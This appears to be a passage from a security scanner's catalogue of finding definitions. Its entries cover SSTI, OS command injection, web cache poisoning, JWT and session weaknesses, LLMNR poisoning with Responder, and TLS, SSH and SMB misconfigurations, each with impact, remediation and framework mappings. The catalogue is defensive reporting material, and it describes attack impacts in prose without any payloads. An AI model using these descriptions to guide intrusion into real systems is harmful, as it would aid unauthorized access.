PCI DSS 4: 6.3.3
CISA KEV
MEDIUM FR-496 — Sophos Firewall Detected
Description: The TLS certificate fingerprint identifies this host as a Sophos firewall appliance (XG Firewall, Sophos Firewall OS, or legacy Cyberoam). Sophos firewalls have had critical vulnerabilities including SQL injection and code injection flaws in their user portal and management interfaces.
Impact: An attacker exploiting Sophos firewall vulnerabilities can gain unauthorized access to the firewall management interface, modify security policies, and potentially achieve remote code execution. As a perimeter device, compromise provides a pivot point into the internal network and visibility into all traversing traffic.
Remediation: Verify the Sophos firewall is running the latest firmware version. Disable the User Portal on WAN-facing interfaces if not required. Restrict management access to trusted internal networks only. Enable automatic hotfix installation.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.3
CISA KEV
INFO FR-497 — Technology Stack Identified (Wappalyzer)
Description: Webanalyze (Wappalyzer engine) identified the technology stack running on the target web application. Technologies detected may include web servers, application frameworks, CMS platforms, JavaScript libraries, analytics tools, CDNs, and other components. Each identified technology can be checked against known vulnerability databases for version-specific issues.
Impact: Technology fingerprinting reveals the exact software stack in use, enabling targeted vulnerability research. An attacker can search for CVEs, default credentials, and known misconfigurations specific to each detected technology and version. Identifying the CMS, framework, and server version narrows the attack surface to known weaknesses.
Remediation: Ensure all identified technologies are running their latest patched versions. Remove version information from HTTP response headers where possible (e.g. ServerTokens Prod, server_tokens off). Remove unused technologies and frameworks to reduce attack surface.
Effort: Moderate
CVSS Vector: N/A
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1592.004 (Reconnaissance)
NIST 800-53: CM-8
PCI DSS 4: 6.3.2
INFO FR-498 — Hidden HTTP Parameters Discovered
Description: arjun discovered hidden HTTP parameters that are not present in crawled forms, links, or visible page elements. These parameters are accepted by the server but not publicly advertised, potentially exposing additional attack surface for injection, authentication bypass, or information disclosure.
Impact: Hidden parameters may accept unexpected input that bypasses client-side validation. An attacker who discovers hidden debug, admin, or configuration parameters can probe them for injection vulnerabilities, privilege escalation, or information disclosure. These parameters are often less hardened than publicly documented ones because developers assume they are not discoverable.
Remediation: Review all discovered hidden parameters for security implications. Remove any debug, test, or administrative parameters from production deployments. Ensure all accepted parameters are documented and subject to the same input validation and authorization controls as public parameters.
Effort: Moderate
CVSS Vector: N/A
OWASP Web: A01:2025 Broken Access Control
OWASP API: API9:2023 Improper Inventory Management
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: CM-7, SA-11
PCI DSS 4: 6.2.4
LOW FR-499 — Security-Sensitive Hidden Parameter
Description: arjun discovered a hidden HTTP parameter with a security-sensitive name pattern (such as admin, debug, test, secret, token, key, or password). These parameters suggest debug functionality, authentication bypasses, or configuration controls that should not be accessible in production.
Impact: Security-sensitive hidden parameters frequently enable debug modes, expose verbose error output, bypass authentication, or reveal API keys and tokens. An attacker who discovers a 'debug=true' parameter may gain access to stack traces, internal paths, and database queries. Parameters named 'token' or 'key' may accept forged credentials.
Remediation: Remove all debug, test, and administrative parameters from production deployments. If debug functionality is required, gate it behind strong authentication and restrict access to authorized personnel. Audit parameter names for sensitive patterns during code review.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A01:2025 Broken Access Control
OWASP API: API9:2023 Improper Inventory Management
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: CM-7, SC-28
PCI DSS 4: 6.2.4, 6.5.1
CRITICAL FR-500 — Server-Side Template Injection (SSTI) — SSTImap Confirmed
Description: SSTImap confirmed that the target application is vulnerable to Server-Side Template Injection (SSTI). User-supplied input is rendered directly within a server-side template engine without proper sanitization, allowing an attacker to inject template directives that execute arbitrary code on the server.
Impact: A confirmed SSTI vulnerability allows full remote code execution (RCE) on the server. An attacker can read/write arbitrary files, exfiltrate database credentials, pivot to internal networks, and fully compromise the application server. SSTI is one of the highest-impact web vulnerabilities because template engines run with the full privileges of the application process.
Remediation: Use sandboxed template engines that restrict template directives to safe operations. Never pass user input directly into template rendering functions. Use template engines' built-in auto-escaping features. If dynamic templates are required, use a strict allowlist of permitted template operations and sanitize all input before rendering.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025 Injection
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11
PCI DSS 4: 6.2.4, 6.5.1
MEDIUM FR-501 — SSTI — Template Engine Identified
Description: SSTImap identified the template engine in use on the target application (e.g., Jinja2, Twig, Freemarker, Mako, Velocity, Smarty) but was unable to achieve code execution. The engine may have sandboxing or input filtering that prevents exploitation, but the presence of a detectable engine suggests user input reaches the template layer.
Impact: Template engine identification narrows the attack surface for targeted exploitation. Even if SSTImap could not achieve RCE, manual techniques or future bypass discoveries may succeed. The detection confirms that user input interacts with the template engine, which is a prerequisite for SSTI attacks.
Remediation: Ensure the template engine is properly sandboxed with restricted directive capabilities. Verify that user input does not reach template rendering functions. Apply input sanitization and output encoding at the template layer.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A03:2025 Injection
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
CRITICAL FR-502 — OS Command Injection — commix Confirmed
Description: commix confirmed that the target application is vulnerable to OS command injection. User-supplied input is incorporated into operating system commands without proper sanitization, allowing an attacker to execute arbitrary system commands on the underlying server with the privileges of the web application process.
Impact: Confirmed OS command injection allows full remote code execution. An attacker can read/write files, dump databases, install backdoors, establish reverse shells, pivot to internal networks, and fully compromise the server. This is a maximum-severity vulnerability that provides complete control over the affected system.
Remediation: Use parameterized OS commands or language-native APIs instead of shell execution. Never concatenate user input into shell commands. Apply strict input validation with allowlists for expected parameter values. Use subprocess calls with argument arrays instead of shell=True. Implement the principle of least privilege for the web application process.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025 Injection
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11
PCI DSS 4: 6.2.4, 6.5.1
HIGH FR-503 — Blind Command Injection (Time-Based) — commix
Description: commix detected blind OS command injection via time-based techniques. The application's response time varied when time-delay payloads (e.g., sleep) were injected, indicating that user input is incorporated into operating system commands. While output is not directly reflected, the time-delay confirmation proves command execution occurs on the server.
Impact: Blind command injection is exploitable for full remote code execution even though command output is not returned in the response. An attacker can exfiltrate data character-by-character via time-based inference, establish out-of-band channels (DNS, HTTP callbacks), or write webshells to achieve interactive access. The impact is equivalent to confirmed command injection, with only exploitation complexity increased.
Remediation: Use parameterized OS commands or language-native APIs instead of shell execution. Never concatenate user input into shell commands. Apply strict input validation with allowlists. Use subprocess calls with argument arrays instead of shell=True.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025 Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11
PCI DSS 4: 6.2.4, 6.5.1
HIGH FR-504 — Web Cache Poisoning
Description: toxicache confirmed that the web cache can be poisoned. An unkeyed input (such as an HTTP header not included in the cache key) is reflected in the cached response. An attacker can send a request with a malicious header value, which gets cached and then served to all subsequent users requesting the same URL.
Impact: Web cache poisoning allows an attacker to serve malicious content to all users of the affected URL via the CDN or reverse proxy cache. This can be used for stored XSS (injecting JavaScript via unkeyed headers), phishing (redirecting users to attacker-controlled pages), denial of service (caching error responses), and defacement. The attack scales to all users because the poisoned response is served from cache.
Remediation: Configure the cache to key on all security-relevant headers. Remove or normalize unkeyed headers before caching. Implement cache-control headers (no-store for sensitive pages). Validate and sanitize all input reflected in responses, including HTTP headers. Use Vary headers to include all inputs that affect the response.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-8, SI-10
PCI DSS 4: 6.2.4
MEDIUM FR-505 — Web Cache Deception
Description: toxicache detected that the web cache serves incorrect content to users due to path confusion or misconfigured caching rules. An attacker can craft URLs that cause the cache to store authenticated or personalized content and serve it to other users, or serve static content in place of dynamic responses.
Impact: Web cache deception can expose authenticated content (account pages, API responses with tokens, personal data) to unauthenticated users. An attacker tricks a victim into visiting a crafted URL that caches their authenticated response, then retrieves that cached content. This can leak session tokens, personal information, and CSRF tokens.
Remediation: Configure proper cache rules per content type. Never cache authenticated or personalized responses. Set Cache-Control: no-store on all dynamic/authenticated pages. Normalize URL paths before cache key generation to prevent path confusion attacks.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-8
PCI DSS 4: 6.2.4
LOW FR-506 — Unkeyed Header in Cache Response
Description: toxicache detected that the web cache does not include a specific HTTP header in its cache key, but the header's value is reflected in the cached response. This means the header could potentially be used for cache poisoning if an exploitable reflection point is found.
Impact: An unkeyed header that is reflected in the response is a prerequisite for web cache poisoning. While this finding alone does not confirm exploitation, it indicates that the cache configuration does not properly account for all inputs that influence the response. This is the foundation for cache poisoning attacks that can lead to stored XSS, phishing, or defacement at scale.
Remediation: Include all security-relevant HTTP headers in the cache key configuration. Review cache configuration to ensure that any header whose value appears in responses is either included in the cache key or stripped before caching.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SC-8
PCI DSS 4: 6.2.4
MEDIUM FR-507 — Session Token Exposed in URL
Description: Session-related parameter(s) appear in the URL query string. Tokens in URLs leak through browser history, Referer headers, proxy logs, and server access logs.
Impact: An attacker who obtains the URL (via Referer header, shared link, browser history, or proxy logs) gains immediate authenticated access to the victim's session without needing to compromise cookies or credentials directly.
Remediation: Transmit session tokens only via cookies (with Secure, HttpOnly, SameSite attributes) or Authorization headers. Never embed session identifiers in URL query parameters or path segments.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
MITRE ATT&CK: T1539 (Credential Access)
NIST 800-53: SC-23
PCI DSS 4: 6.2.4
MEDIUM FR-508 — Session Token in Page Links
Description: Page links embed session tokens in URL query parameters within href attributes, leaking tokens through Referer headers when users navigate to external sites.
Impact: Session tokens are transmitted to third-party servers via Referer headers when users click external links, allowing third parties or network observers to hijack user sessions.
Remediation: Remove session tokens from all hyperlinks. Use cookie-based session management exclusively. Set Referrer-Policy to no-referrer or same-origin.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
NIST 800-53: SC-23
PCI DSS 4: 6.2.4
LOW FR-509 — Overly Broad Cookie Domain Scope
Description: Session cookies are scoped to a parent domain rather than the application's specific hostname, allowing any subdomain under the parent to read these cookies.
Impact: A compromised sibling application on any subdomain under the parent domain can read and replay session cookies, enabling cross-application session hijacking without attacking the target directly.
Remediation: Set the cookie Domain attribute to the exact hostname of the application. Avoid using parent domain cookies unless required for cross-subdomain SSO.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
NIST 800-53: SC-23
PCI DSS 4: 6.2.4
INFO FR-510 — Cookie Path Scoped to Root
Description: Session cookies use Path=/ while the application resides at a subpath. Other applications on the same hostname can read these cookies.
Impact: Other applications sharing the same hostname (common in shared hosting or multi-tenant environments) can access session cookies, creating a cross-application information disclosure risk.
Remediation: Set the cookie Path attribute to the application's base URL path to limit cookie visibility to the application's URL space.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
NIST 800-53: SC-23
CRITICAL FR-511 — JWT Algorithm None Accepted
Description: A JWT token uses algorithm 'none', meaning the token has no signature verification. Any attacker can forge arbitrary tokens with any claims.
Impact: Complete authentication bypass. An attacker can craft JWTs with arbitrary claims (admin roles, any user identity) without needing the signing key, gaining unrestricted access to all application functionality.
Remediation: Enforce a strong signing algorithm (RS256, ES256) server-side. Reject tokens with alg=none. Use an allowlist of accepted algorithms.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2025 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1550.001 (Lateral Movement)
NIST 800-53: IA-5, SC-13
PCI DSS 4: 6.2.4, 8.3.1
MEDIUM FR-512 — JWT Missing Expiration Claim
Description: A JWT token has no 'exp' (expiration) claim. Without expiration, a stolen token remains valid indefinitely.
Impact: A stolen or leaked JWT can be replayed indefinitely since it never expires, giving an attacker persistent unauthorized access until the signing key is rotated or the token is explicitly blacklisted.
Remediation: Include an 'exp' claim in all JWTs with a reasonable lifetime (15 minutes for access tokens, hours for refresh tokens). Validate expiration server-side on every request.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1550.001 (Lateral Movement)
NIST 800-53: IA-5, AC-12
PCI DSS 4: 8.2.8
LOW FR-513 — JWT Excessive Lifetime
Description: A JWT token has an excessively long lifetime (>24 hours). Long-lived tokens increase the window for token theft and replay attacks.
Impact: Extended token lifetimes give attackers a wider window to intercept, steal, and reuse tokens. If a token is compromised, the attacker maintains access for the full remaining lifetime without needing to re-authenticate.
Remediation: Reduce JWT lifetime to 15-60 minutes for access tokens. Use refresh tokens for session continuity. Implement token revocation for compromised tokens.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
NIST 800-53: AC-12
PCI DSS 4: 8.2.8
MEDIUM FR-514 — JWT Contains Sensitive Data
Description: A JWT payload contains sensitive fields (passwords, SSNs, credit card numbers). JWT payloads are base64url-encoded (not encrypted) and readable by anyone with access to the token.
Impact: Sensitive information embedded in the JWT is exposed to anyone who intercepts the token (via logs, browser storage, network capture, or Referer headers). This is a direct data exposure vulnerability since JWTs are not encrypted by default.
Remediation: Remove sensitive data from JWT payloads. Store sensitive data server-side and reference it by ID. Use JWE (encrypted JWT) if payload confidentiality is required.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
OWASP API: API3:2023 Broken Object Property Level Authorization
NIST 800-53: SC-28
PCI DSS 4: 3.4.1
LOW FR-515 — JWT Missing Audience Claim
Description: A JWT token has no 'aud' (audience) claim. Without audience restriction, tokens intended for one service may be replayed against a different service that shares the same signing key.
Impact: Tokens can be cross-replayed between services that share signing infrastructure. An attacker with a token from a lower-privilege service can replay it against a higher-privilege service if no audience validation is performed.
Remediation: Include an 'aud' claim in all JWTs identifying the intended recipient. Validate the audience server-side and reject tokens with unexpected audience values.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
NIST 800-53: IA-5
MEDIUM FR-516 — Session Persists After Password Change
Description: Existing sessions remain valid after a password change. If an attacker has compromised a session, changing the password does not revoke their access.
Impact: A user who changes their password to recover from a compromise cannot fully revoke attacker access. The compromised session persists, and the attacker retains authenticated access until natural session expiry.
Remediation: Invalidate all existing sessions for the user when their password is changed. Force re-authentication on all devices.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
MITRE ATT&CK: T1539 (Credential Access)
NIST 800-53: AC-12
PCI DSS 4: 8.2.8
MEDIUM FR-517 — Excessive Session Cookie Lifetime
Description: A session cookie has an excessively long lifetime (>30 days), increasing the window for session hijacking via stolen cookies.
Impact: Extremely long-lived session cookies remain valid for weeks or months, giving attackers an extended window to exploit stolen cookies. Even if the user logs out from one device, the cookie on another compromised device remains usable.
Remediation: Set session cookie Max-Age/Expires to a reasonable duration (4-8 hours for standard apps, shorter for sensitive apps). Implement absolute server-side session timeout independent of cookie expiry.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
NIST 800-53: AC-12
PCI DSS 4: 8.2.8
MEDIUM FR-518 — Missing Referrer-Policy With External Links
Description: The authenticated page contains external links but no Referrer-Policy header is set. Browsers default to sending the full URL as the Referer header when users click external links, potentially leaking session tokens or sensitive URL parameters.
Impact: Session tokens, CSRF tokens, or other sensitive URL parameters are transmitted to third-party servers via the Referer header when users click external links. Third parties can use leaked tokens for session hijacking.
Remediation: Set Referrer-Policy header to 'strict-origin-when-cross-origin' or 'no-referrer' to prevent URL leakage. Apply via HTTP header or <meta> tag.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
NIST 800-53: SC-23
PCI DSS 4: 6.2.4
LOW FR-519 — Mixed Content on Authenticated Page
Description: The authenticated HTTPS page loads resources over plain HTTP. Mixed content allows a network attacker to inject malicious resources into the authenticated page via MITM.
Impact: A network-positioned attacker can modify HTTP-loaded resources (scripts, styles, images) in transit, injecting malicious content into the authenticated HTTPS page. This can lead to session hijacking, credential theft, or arbitrary code execution in the user's browser context.
Remediation: Load all resources over HTTPS. Use Content-Security-Policy: upgrade-insecure-requests to automatically upgrade HTTP to HTTPS.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-8
PCI DSS 4: 4.2.1
LOW FR-520 — Potential Session Puzzling
Description: The same session cookie name is assigned different values across functionally distinct paths (login, registration, password reset, profile). This may indicate session variable overloading where authentication state from one context can be leveraged in another.
Impact: An attacker may exploit session puzzling to escalate privileges by initiating a session in one security context (e.g. password reset flow) and presenting it to another context (e.g. authenticated dashboard) where the session variables carry unintended authority.
Remediation: Use separate session variables for each functional context (authentication, registration, password reset). Regenerate session IDs at each privilege boundary. Do not reuse session objects across security contexts.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
NIST 800-53: SC-23
INFO GB-DISC-001 — Live Host Discovered
Description: A host was confirmed active on the network by responding to one or more probe types (ICMP, TCP SYN, ARP, or UDP), expanding the known attack surface.
Remediation: Reconcile all discovered hosts against the authorised asset inventory and investigate any unexpected or unregistered hosts.
INFO GB-DISC-002 — Open Port Discovered
Description: A TCP or UDP port was confirmed open on the target host, indicating an exposed service that contributes to the overall network attack surface.
Remediation: Inventory all open ports against expected service requirements; close or restrict access to ports that serve no legitimate business purpose via host-based or network firewall rules.
INFO GB-DISC-003 — Service Version Identified
Description: A specific software version was identified from a service banner or nmap version detection. This information can be cross-referenced against CVE databases to identify known vulnerabilities.
Remediation: Suppress version information where possible. Keep all identified services up to date.
INFO GB-DISC-004 — DHCP Lease Assigned to Device
Description: The device successfully obtained a DHCP lease from the gearbox DHCP server. The assigned IP address and MAC address are documented for the assessment.
Remediation: No action required; informational record.
HIGH GB-DISC-005 — LLMNR/NBT-NS Broadcast Poisoning Possible
Description: LLMNR and/or NBT-NS broadcast name resolution is active on the network, allowing an attacker to poison responses with Responder and capture NTLMv1/v2 hashes for offline cracking or relay.
Remediation: Disable LLMNR and NetBIOS-NS via Group Policy (Network > DNS Client) and enforce DNS-only name resolution across all hosts.
HIGH GB-DISC-006 — LLMNR/NBT-NS Broadcast Poisoning Possible
Description: LLMNR and/or NBT-NS broadcast name resolution is active on the network, allowing an attacker to poison responses with Responder and capture NTLMv1/v2 hashes for offline cracking or relay.
Remediation: Disable LLMNR and NetBIOS-NS via Group Policy (Network > DNS Client) and enforce DNS-only name resolution across all hosts.
CRITICAL GB-CRED-001 — NTLM Hash Captured via Responder
Description: Responder successfully captured an NTLMv1 or NTLMv2 challenge-response hash in response to a poisoned LLMNR/NBT-NS reply. The captured hash can be subjected to offline dictionary or brute-force cracking or used directly in NTLM relay attacks.
Remediation: Disable LLMNR and NBT-NS as described in GB-DISC-005/006. Enforce SMB signing. Implement network segmentation. Use strong, unique passwords resistant to offline cracking.
CRITICAL GB-CRED-002 — Cleartext Credentials in Traffic Capture
Description: Cleartext credentials (username/password) were observed in captured network traffic. The device transmitted authentication information over an unencrypted protocol (e.g., HTTP Basic Auth, FTP, Telnet, SNMP v1/v2c).
Remediation: Replace all cleartext authentication protocols with encrypted equivalents. Use TLS for web, SSH for remote management, SNMPv3 for SNMP.
CRITICAL GB-CRED-003 — Weak or Default Credentials Accepted
Description: The target accepted well-known default or factory-set credentials, granting unauthorised access.
Remediation: Replace all default credentials with strong, unique secrets and enforce a password policy prior to any deployment.
CRITICAL GB-VULN-001 — Nessus Critical Vulnerability
Description: Nessus Professional identified a critical severity vulnerability (CVSS ≥ 9.0). This typically represents unauthenticated remote code execution, authentication bypass with full system impact, or a well-known exploit with active weaponisation.
Remediation: Apply vendor patch immediately. If no patch is available, implement network isolation and document as an accepted risk with a defined remediation timeline.
HIGH GB-VULN-002 — Nessus High Vulnerability
Description: Nessus Professional identified a high severity vulnerability (CVSS 7.0–8.9). Often exploitable by local or adjacent attackers with limited prerequisites.
Remediation: Patch within the defined SLA for high-severity findings. Apply compensating controls if immediate patching is not feasible.
MEDIUM GB-VULN-003 — Nessus Medium Vulnerability
Description: Nessus Professional identified a medium severity vulnerability (CVSS 4.0–6.9). May require special conditions to exploit but presents meaningful risk.
Remediation: Schedule remediation within the standard patch cycle.
LOW GB-VULN-004 — Nessus Low / Informational Finding
Description: Nessus Professional identified a low-severity or informational finding. May represent configuration observations or version disclosures without direct exploitability.
Remediation: Include in routine hardening backlog.
HIGH GB-VULN-005 — CVE-Matched Service Banner
Description: The service banner matched a known CVE in the NVD or OSV.dev database. The software version identified in the banner is listed as affected by a publicly disclosed vulnerability with an available CVSS score.
Remediation: Update the affected software to a patched version. Cross-reference the specific CVE for vendor-recommended mitigations.
HIGH GB-VULN-006 — End-of-Life Software Detected
Description: A service banner or version string indicates software that has passed its vendor end-of-life date. No further security patches will be issued, and any future vulnerabilities will be permanently unaddressed.
Remediation: Upgrade to a supported version. If upgrade is constrained, apply network isolation and create a formal remediation plan.
HIGH GB-VULN-007 — End-of-Life Operating System Detected
Description: The operating system identified from banners or Nessus output has passed its vendor support end-of-life date. The OS will not receive security patches for newly discovered vulnerabilities.
Remediation: Upgrade to a supported OS version. If the device cannot be upgraded, implement network isolation as a compensating control.
HIGH GB-VULN-008 — Nuclei Template Match — CVE
Description: Nuclei matched a CVE-tagged template against the target. The response pattern confirms the service is exhibiting behaviour consistent with the disclosed vulnerability.
Remediation: Apply the vendor patch for the matched CVE. Verify remediation by re-running the nuclei scan.
MEDIUM GB-VULN-009 — Nuclei Template Match — Misconfiguration
Description: Nuclei identified a security misconfiguration (exposed admin panel, default path, misconfigured CORS, insecure HTTP method, etc.).
Remediation: Correct the specific misconfiguration. Harden the service configuration against the ProjectDiscovery misconfiguration template library.
HIGH GB-VULN-010 — Nuclei Template Match — Exposed Panel
Description: Nuclei identified an exposed administrative or management panel accessible without prior authentication (e.g., Grafana, Jenkins, Kibana, phpMyAdmin, device management UI).
Remediation: Restrict access to administrative panels by IP allowlist, VPN, or disable public access entirely.
HIGH GB-TLS-001 — SSL/TLS Certificate: Expired
Description: The server's TLS certificate has passed its expiry date, causing browser trust errors and indicating a breakdown in certificate lifecycle management.
Remediation: Renew the certificate immediately and implement automated renewal (e.g., ACME/Let's Encrypt) to prevent future expiry.
MEDIUM GB-TLS-002 — SSL/TLS Certificate: Self-Signed
Description: The server presented a self-signed TLS certificate that is not anchored to a publicly trusted CA, preventing clients from verifying the server's identity and enabling trivial MITM attacks.
Remediation: Replace self-signed certificates with certificates issued by a trusted CA; use ACME/Let's Encrypt for cost-free automation.
HIGH GB-TLS-003 — SSL/TLS — Protocol Version Below TLS 1.2
Description: TLS 1.0 or TLS 1.1 is accepted. These protocol versions are deprecated by RFC 8996 and vulnerable to BEAST, POODLE, and RC4 downgrade attacks.
Remediation: Disable TLS 1.0, TLS 1.1, and all SSL versions. Accept only TLS 1.2 and TLS 1.3.
MEDIUM GB-TLS-004 — SSL/TLS — Weak Cipher Suite Accepted
Description: The TLS server accepts cipher suites providing less than 128-bit security, null encryption, or anonymous key exchange.
Remediation: Configure the server to accept only AEAD cipher suites with forward secrecy (ECDHE-ECDSA-AES256-GCM-SHA384, TLS_CHACHA20_POLY1305_SHA256, etc.).
MEDIUM GB-TLS-005 — SSL/TLS — CRIME / BEAST / LUCKY13 Vulnerability
Description: The TLS configuration is susceptible to a compression-based oracle (CRIME), cipher-block chaining attack (BEAST), or timing side-channel (LUCKY13). Specific vulnerability depends on testssl.sh output.
Remediation: Disable TLS compression. Migrate to TLS 1.2+ with AES-GCM-only cipher suites. Apply server-side BEAST mitigation (RC4 disabled, prefer AES-GCM).
LOW GB-TLS-006 — SSL/TLS — Missing HSTS Header
Description: The HTTPS service does not return a Strict-Transport-Security header. Clients may be susceptible to SSL stripping attacks.
Remediation: Add Strict-Transport-Security: max-age=31536000; includeSubDomains; preload to all HTTPS responses.
MEDIUM GB-TLS-007 — SSL/TLS — Weak Certificate Signature Algorithm
Description: The TLS certificate is signed with a deprecated algorithm such as MD5 or SHA-1. These algorithms are vulnerable to collision attacks that could allow certificate forgery.
Remediation: Reissue the certificate using SHA-256 or SHA-384 as the signature algorithm.
MEDIUM GB-TLS-008 — SSL/TLS — Certificate Hostname Mismatch
Description: The Common Name or Subject Alternative Names in the TLS certificate do not match the host being connected to. Clients will receive a certificate warning or reject the connection.
Remediation: Reissue the certificate with the correct Subject Alternative Names matching all DNS names and IP addresses used to access the service.
MEDIUM GB-SSH-001 — SSH Weak Configuration (Ciphers / Legacy Protocol / Credential Auth)
Description: The SSH service is configured with one or more weaknesses including weak ciphers/MACs, SSHv1 support, permitted root login, or password-based authentication, increasing exposure to brute-force and protocol-level attacks.
Remediation: Harden sshd_config to disable SSHv1, restrict ciphers and MACs to strong algorithms, disable root login, disable password authentication, and require public-key authentication only.
HIGH GB-SSH-002 — SSH Weak Configuration (Ciphers / Legacy Protocol / Credential Auth)
Description: The SSH service is configured with one or more weaknesses including weak ciphers/MACs, SSHv1 support, permitted root login, or password-based authentication, increasing exposure to brute-force and protocol-level attacks.
Remediation: Harden sshd_config to disable SSHv1, restrict ciphers and MACs to strong algorithms, disable root login, disable password authentication, and require public-key authentication only.
MEDIUM GB-SSH-003 — SSH Weak Configuration (Ciphers / Legacy Protocol / Credential Auth)
Description: The SSH service is configured with one or more weaknesses including weak ciphers/MACs, SSHv1 support, permitted root login, or password-based authentication, increasing exposure to brute-force and protocol-level attacks.
Remediation: Harden sshd_config to disable SSHv1, restrict ciphers and MACs to strong algorithms, disable root login, disable password authentication, and require public-key authentication only.
MEDIUM GB-SSH-004 — SSH Weak Configuration (Ciphers / Legacy Protocol / Credential Auth)
Description: The SSH service is configured with one or more weaknesses including weak ciphers/MACs, SSHv1 support, permitted root login, or password-based authentication, increasing exposure to brute-force and protocol-level attacks.
Remediation: Harden sshd_config to disable SSHv1, restrict ciphers and MACs to strong algorithms, disable root login, disable password authentication, and require public-key authentication only.
MEDIUM GB-SSH-005 — SSH Weak Configuration (Ciphers / Legacy Protocol / Credential Auth)
Description: The SSH service is configured with one or more weaknesses including weak ciphers/MACs, SSHv1 support, permitted root login, or password-based authentication, increasing exposure to brute-force and protocol-level attacks.
Remediation: Harden sshd_config to disable SSHv1, restrict ciphers and MACs to strong algorithms, disable root login, disable password authentication, and require public-key authentication only.
HIGH GB-SMB-001 — SMB Signing Disabled or Not Required
Description: SMB packet signing is not enforced on the server, allowing an attacker positioned between client and server to relay or tamper with SMB authentication and data.
Remediation: Enable and require SMB signing via Group Policy (RequireSecuritySignature=1) on all Windows systems to prevent NTLM relay attacks.
CRITICAL GB-SMB-002 — SMB Share Accessible Without Authentication
Description: One or more SMB shares are accessible without valid credentials, allowing unauthenticated users to read or write files and potentially enumerate domain information.
Remediation: Require authentication on all SMB shares, disable null-session and guest access, and enforce least-privilege ACLs on every share.
CRITICAL GB-SMB-003 — SMB Share Accessible Without Authentication
Description: One or more SMB shares are accessible without valid credentials, allowing unauthenticated users to read or write files and potentially enumerate domain information.
Remediation: Require authentication on all SMB shares, disable null-session and guest access, and enforce least-privilege ACLs on every share.
CRITICAL GB-WEB-001 — Web — Default Credentials Accepted
